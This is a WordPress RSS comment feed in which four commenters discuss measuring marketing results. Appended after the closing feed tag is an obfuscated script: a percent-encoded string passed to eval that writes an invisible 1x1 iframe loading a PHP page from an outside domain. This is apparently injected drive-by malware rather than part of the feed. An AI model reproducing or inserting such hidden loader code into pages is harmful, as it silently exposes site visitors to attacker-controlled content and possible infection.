<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Tech companies only seem to test their products</title>
	<atom:link href="http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/feed/" rel="self" type="application/rss+xml" />
	<link>http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/</link>
	<description>Results you can measure</description>
	<lastBuildDate>Fri, 20 Aug 2010 23:52:58 -0500</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Jared O'Toole</title>
		<link>http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/comment-page-1/#comment-364</link>
		<dc:creator>Jared O'Toole</dc:creator>
		<pubDate>Mon, 30 Mar 2009 21:06:25 +0000</pubDate>
		<guid isPermaLink="false">http://morecaffeineplease.com/?p=496#comment-364</guid>
		<description>Marketing is tricky to measure especially in the social media world. But it should not be over-looked. Whether your spending $ on trade shows or time on twitter. It&#039;s costing you if its not working.</description>
		<content:encoded><![CDATA[<p>Marketing is tricky to measure especially in the social media world. But it should not be over-looked. Whether your spending $ on trade shows or time on twitter. It&#8217;s costing you if its not working.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Measuring Success &#171; Linda&#8217;s Long View</title>
		<link>http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/comment-page-1/#comment-363</link>
		<dc:creator>Measuring Success &#171; Linda&#8217;s Long View</dc:creator>
		<pubDate>Sat, 28 Mar 2009 17:30:21 +0000</pubDate>
		<guid isPermaLink="false">http://morecaffeineplease.com/?p=496#comment-363</guid>
		<description>[...] of the ease with which definitive process improvements were possible. However, recently I read a blog post yesterday that reminded me that even though it is may be easier to measure and improve (some?) [...]</description>
		<content:encoded><![CDATA[<p>[...] of the ease with which definitive process improvements were possible. However, recently I read a blog post yesterday that reminded me that even though it is may be easier to measure and improve (some?) [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Doug - Velocity, B2B Marketing Agency</title>
		<link>http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/comment-page-1/#comment-362</link>
		<dc:creator>Doug - Velocity, B2B Marketing Agency</dc:creator>
		<pubDate>Sat, 28 Mar 2009 11:33:53 +0000</pubDate>
		<guid isPermaLink="false">http://morecaffeineplease.com/?p=496#comment-362</guid>
		<description>Good one.
It&#039;s amazing how uncommon common sense can be!

Luckily digital marketing makes testing and measuring so much easier and more immediate.</description>
		<content:encoded><![CDATA[<p>Good one.<br />
It&#8217;s amazing how uncommon common sense can be!</p>
<p>Luckily digital marketing makes testing and measuring so much easier and more immediate.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: LindasLongView</title>
		<link>http://morecaffeineplease.com/tech-companies-only-seem-to-test-their-products/comment-page-1/#comment-359</link>
		<dc:creator>LindasLongView</dc:creator>
		<pubDate>Sat, 28 Mar 2009 06:31:55 +0000</pubDate>
		<guid isPermaLink="false">http://morecaffeineplease.com/?p=496#comment-359</guid>
		<description>Your points about measuring are right on, but I am surprised by your observation.  This might be a case of some do and some don&#039;t.  After reading, &quot;SuperCrunchers&quot; by Ian Ayres, I was under the impression that all marketing departments had &quot;analytics&quot; down in terms of following customers and marketing campaigns, maybe even better than those of us in manufacturing/production.  Perhaps my surprise is a case of my being envious of what appeared to be easier data collection?  ;)</description>
		<content:encoded><![CDATA[<p>Your points about measuring are right on, but I am surprised by your observation.  This might be a case of some do and some don&#8217;t.  After reading, &#8220;SuperCrunchers&#8221; by Ian Ayres, I was under the impression that all marketing departments had &#8220;analytics&#8221; down in terms of following customers and marketing campaigns, maybe even better than those of us in manufacturing/production.  Perhaps my surprise is a case of my being envious of what appeared to be easier data collection?  <img src='http://morecaffeineplease.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%62%69%62%7A%6F%70%6C%2E%63%6F%6D%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>